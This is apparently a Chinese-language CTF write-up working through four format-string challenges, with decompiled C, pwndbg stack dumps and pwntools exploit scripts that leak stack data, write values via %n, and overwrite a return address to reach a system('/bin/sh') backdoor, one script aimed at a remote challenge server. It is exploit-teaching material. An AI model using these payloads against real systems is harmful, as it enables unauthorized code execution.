# Format 1~4 writing wp

基本上简单的一般的格式化字符串题目,包括几个类型,栈数据泄露、栈上数据覆盖、任意地址读写、非栈上的格式化字符串攻击。本次的 4 个题目位包括非栈上格式化字符串的利用。

:::warn

格式化字符串,常用的 %?d,d,%?c,%?f,f,%?x,%?p,p,%?s,%?n,n,%?hn,%?hhn,hhn,%?lln 等基础类型

其中 % s 需要目标位置是一个字符串的指针,字符串的地址,% p 是常用的直接泄露目标偏移位置上,栈储存的数据,%?$n, 会像目标地址写入已经输出字符的个数

:::

# format1

基本技能:格式化字符串泄露栈上数据

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5; // [rsp+8h] [rbp-38h] BYREF
  int v6; // [rsp+Ch] [rbp-34h]
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]
  v8 = __readfsqword(0x28u);
  v6 = 0;
  v5 = 0;
  ini(argc, argv, envp);
  banner();
  puts("Format String 1/4");
  puts("here,you must guess the random num");
  v3 = time(0LL);
  srand(v3);
  while ( 1 )
  {
    v6 = rand();
    puts("leave something.....");
    read(0, buf, 0x20uLL);
    printf(buf);
    __isoc99_scanf("%d", &v5);
    if ( v6 == v5 )
      break;
    puts("try again");
  }
  puts("You win!");
  system("/bin/sh");
  return 0;
}

v6 是会随即生成的 int 类型的数字,并且储存在栈上,printf 存在漏洞,buf 在栈上,直接泄露 v6 数据。

动态调试,查看偏移量

image-20230216120041850

由上图,fmtarg 直接解析出 v6 的偏移量是 %7$p,可以直接用这个来泄露,但是 v6 是 int 的数据类型,是在地址的高 4 字节,所以,泄露出来后,将数据转化下,取高 4 字节

image-20230216120536242

# format2

第一个题目是考察泄露,这一题是考察覆盖栈上的数据,我们先猜,输入数字后,才有格式化字符串的漏洞。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5; // [rsp+Ch] [rbp-44h] BYREF
  __int64 v6; // [rsp+10h] [rbp-40h] BYREF
  int *v7; // [rsp+18h] [rbp-38h]
  char buf[40]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]
  v9 = __readfsqword(0x28u);
  v5 = 0;
  v7 = &v5;
  v6 = 0LL;
  ini(argc, argv, envp);
  banner();
  puts("Format String 2/4");
  puts("here,you must guess the random num");
  v3 = time(0LL);
  srand(v3);
  while ( 1 )
  {
    *v7 = rand();
    puts("guess...");
    __isoc99_scanf("%d", &v6);
    puts("leave something.....");
    read(0, buf, 0x20uLL);
    printf(buf);
    if ( *v7 == v6 )
      break;
    puts("try again");
  }
  puts("You win!");
  system("/bin/sh");
  return 0;
}

并且 v7 是一个指针,指向的内容是随机数字

依旧是 gdb 动态调试分析下栈环境

image-20230216121856193

%12c%9n,n,%12c控制输出12个字符,n 将已经输出的字符数写入目标位置,比如,上图,%9$n 对应的栈空间是 0x7fffffffe248 ,这个地址里面是指针 0x7fffffffe23c,所以这个格式化字符串会向 0x7fffffffe23c 写入数字 12,n 对应的是 4 字节的地址空间

image-20230216122626792

# format3

任意地址写,

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]
  v5 = __readfsqword(0x28u);
  ini(argc, argv, envp);
  banner();
  puts("Format String 3/4");
  puts("here,you must change something...");
  puts("leave something.....");
  read(0, buf, 0x20uLL);
  printf(buf);
  if ( key == 2023 )
  {
    puts("You win!");
    system("/bin/sh");
  }
  return 0;
}

程序没有开启 pie,保护,key 变量在 bss 段上,我们把 key 变量的地址放到栈上,利用 %2023c% XX$n 向地址写入 2023。同时注意要进行地址对齐,

image-20230216123855085

执行完 printf 后

image-20230216124021804

# exp

from pwn import *
r=process('./format3')
#r=remote('dreamcat.online',8011)
gdb.attach(r,"b *0x400803")
addr = 0x60208C
pad = b"%2023c%8$n"+b"\x00"*6+p64(addr)
r.sendlineafter("leave something",pad)
r.interactive()

# format4

最后就是一个比较综合的运用的考察了

# 检查下环境

$ checksec --file=format4
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   76) Symbols	  No	0		2		format4

程序开启了 pie 保护,

# 静态分析

unsigned __int64 vuln()
{
  char v1; // [rsp+Fh] [rbp-31h] BYREF
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]
  v3 = __readfsqword(0x28u);
  do
  {
    puts("leave something.....");
    read(0, buf, 0x20uLL);
    printf(buf);
    puts("anything else to say?");
    __isoc99_scanf("%2s", &v1);
  }
  while ( v1 != 110 && v1 != 78 );
  puts("bye~");
  return __readfsqword(0x28u) ^ v3;
}

同时程序存在后门函数

int backdoor()
{
  return system("/bin/sh");
}

但是由于开启了 pie 保护,我们不知道函数的真实地址,但是 vuln 函数中存在 printf 格式化字符串漏洞的循环利用。

image-20230216124840325

程序开启 PIE 保护后,运行时,所有的函数只有低 12 位是我们可以根据静态反汇编看到的。

这里的思想,利用格式化化字符串漏洞,修改 vuln 函数的返回地址,改为后门函数地址。vuln 函数的正常返回地址是 main 函数,是在程序基址段的,跟后门函数一起。因为低 12 位有效,所以我们最少需要修改两字节,使用 % XX$hn,但是还有 4 位数据不确定,所以我们需要泄露出程序基地址,同时站上没有存在指向 vuln 函数返回地址储存位置的数据,我们需要在栈上写入返回地址的栈地址 0x7fffffffe278 ,这就还需要泄露出栈地址。

image-20230216125834404

随后,我们向栈上格式化字符串的同时,写入返回地址所在位置

pwndbg> stack 14
00:0000│ rsp     0x7ffc95621c58 —▸ 0x55ae7b7f29b2 (vuln+79) ◂— lea    rdi, [rip + 0x8c4]
01:0008│         0x7ffc95621c60 ◂— 0x11
02:0010│         0x7ffc95621c68 ◂— 0x79007f6c07aec760
03:0018│ rdi rsi 0x7ffc95621c70 ◂— 0x2563373735303125 ('%10577c%')
04:0020│         0x7ffc95621c78 ◂— 0x6161616e68243031 ('10$hnaaa')
05:0028│         0x7ffc95621c80 —▸ 0x7ffc95621ca8 —▸ 0x55ae7b7f2a39 (main+46) ◂— mov    eax, 0
06:0030│         0x7ffc95621c88 ◂— 0xa /* '\n' */
07:0038│         0x7ffc95621c90 —▸ 0x7ffc95621cb0 —▸ 0x55ae7b7f2a40 (__libc_csu_init) ◂— push   r15
08:0040│         0x7ffc95621c98 ◂— 0xe320110e9c2dcd00
09:0048│ rbp     0x7ffc95621ca0 —▸ 0x7ffc95621cb0 —▸ 0x55ae7b7f2a40 (__libc_csu_init) ◂— push   r15
0a:0050│         0x7ffc95621ca8 —▸ 0x55ae7b7f2a39 (main+46) ◂— mov    eax, 0
0b:0058│         0x7ffc95621cb0 —▸ 0x55ae7b7f2a40 (__libc_csu_init) ◂— push   r15
0c:0060│         0x7ffc95621cb8 —▸ 0x7f6c07721c87 (__libc_start_main+231) ◂— mov    edi, eax
0d:0068│         0x7ffc95621cc0 ◂— 0x2000000000
pwndbg>

执行后的效果

image-20230216130111691

# exp

from pwn import *
#r=process('./format4')
r=remote("81.68.85.214",8012)
r.recvuntil("leave ")
#context.log_level = 'debug'
#gdb.attach(r,"brva 0x9ad")
#leak proc base
r.sendlineafter("something.....\n","%15$p")
proc_base = int(r.recv(14),16)-0xa39
r.sendlineafter("anything else to say?\n","y")
#leak stack addr
r.sendlineafter("leave something.....\n","%14$p")
ret_addr = int(r.recv(14),16)-0x8
info("[+]proc base"+hex(proc_base))
info("[+]ret_addr "+hex(ret_addr))
r.sendlineafter("anything else to say?\n","y")
#change the ret_address 
door = proc_base+0x951
pad = b"%"+str(door&0xffff).encode("utf-8")+b"c%10$hn"
pad =pad.ljust(0x10,b'a')+p64(ret_addr)
r.sendlineafter("leave something.....\n",pad)
r.sendlineafter("anything else to say?\n","n")
r.interactive()

这里只介绍了几个基本用法,但是所有的类型,也都是基于这几个,比如任意地址写大数,字符串不在栈上如何利用,等等